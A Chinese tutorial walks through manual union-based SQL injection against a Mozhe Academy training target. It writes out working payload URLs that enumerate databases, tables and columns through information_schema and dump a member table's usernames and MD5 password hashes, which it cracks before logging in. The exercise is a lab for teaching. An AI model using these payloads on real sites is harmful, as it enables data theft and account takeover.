手工 SQL 注入是页面提交数据到服务器,应用程序获取参数的值,然后把值拼接到查询语句中,再到数据库中查询,通过程序解析后,把结果返回在页面上
本文的目标是通过 SQL 注入获得后台管理系统的管理员账号和密码并成功登录
这里通过 墨者学院 提供的靶场环境进行测试。注册账号,支付1墨币,开启在线靶场
我这里的靶场地址是 http://219.153.49.228:47408/
步骤
第一步
访问页面滚动的通知 http://219.153.49.228:47408/new_list.php?id=1
分析:页面返回正常,拿到参数id,后面会根据这个id进行注入
第二步
访问 http://219.153.49.228:47408/new_list.php?id=1 order by 1
分析:SQL 语句中 order by N
可以判断有几个字段,返回内容正常,可以确定至少有1个字段
第三步
根据上面的步骤,一直往下试,N 不断增加,当访问 http://219.153.49.228:47408/new_list.php?id=1 order by 5 的时候页面不能正常访问了
分析:说明字段数少于5个,这里有个技巧是采用二分法查找会更快。
第四步
访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,2,3,4
分析:通过SQL语句中 and 1=2 union select 1,2,3……,n
联合查询,判断显示的是哪些字段,前面已经判断出了总共有4个字段。根据页面显示,有两个字段应该是 title
和 contents
。 这里通过观察1234几个数字的位置,之前 title
的位置现在显示 2
,之前 contents
现在显示 3
,可以大致推断出 SQL 应该是 select xxx,title,contents,xxx from news where id=1
第五步
访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
分析::SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本
第六步
分析:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称
第七步
分析:limit 1,1意思是从第1行起,取1行数据,mozhe_Discuz_StormGroup为获取的第2个数据库名称
第八步
不断增加limit 的行数,可以得到 limit 2,1
对应的数据库名字为mysql ,limit 3,1
对应的数据库名字为performance_schema,limit 4,1
对应的数据库名字为sys,而 limit 5,1
页面显示异常,说明总共就5个数据库。分别是
- information_schema
- mozhe_Discuz_StormGroup
- mysql
- performance_schema
- sys
第九步
查询mozhe_Discuz_StormGroup的表名
分析:查询表名和上面查询库名差不多,不断增加limit。这里 limit 0,1
对应的表名是StormGroup_member。
而 limit 2,1
页面异常,说明只有2个表。分别是
- StormGroup_member
- notice
第十步
查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的字段名和类型
访问 [http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
](http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1)
分析:可以看到第一个字段名为id,类型为int(11)
方法跟上面一样,只需要改变limit,得到第2个字段名是name,类型是varchar(20),第3个字段名是第password,类型是varchar(255),第4个字段名是第status ,类型是int(11),
第十一步
查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数
访问http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member
分析:共有2条数据
第十二步
查询字段的值
访问http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
分析:name对应mozhe,password对应356f589a7df439f6f744ff19bb8092c0,这是md5加密码后的密码,反解密之后可以得到原始密码。网上有很多解密网站,这里得到的密码为dsan13,status对应0,这样就得了第一条数据的信息。
获取第二条数据
对应的密码为332964
最后拿这2个账号密码去登录,发现第一个账号提示用户被禁或不存在,猜测是status控制了权限。
第2个账号可以正常登录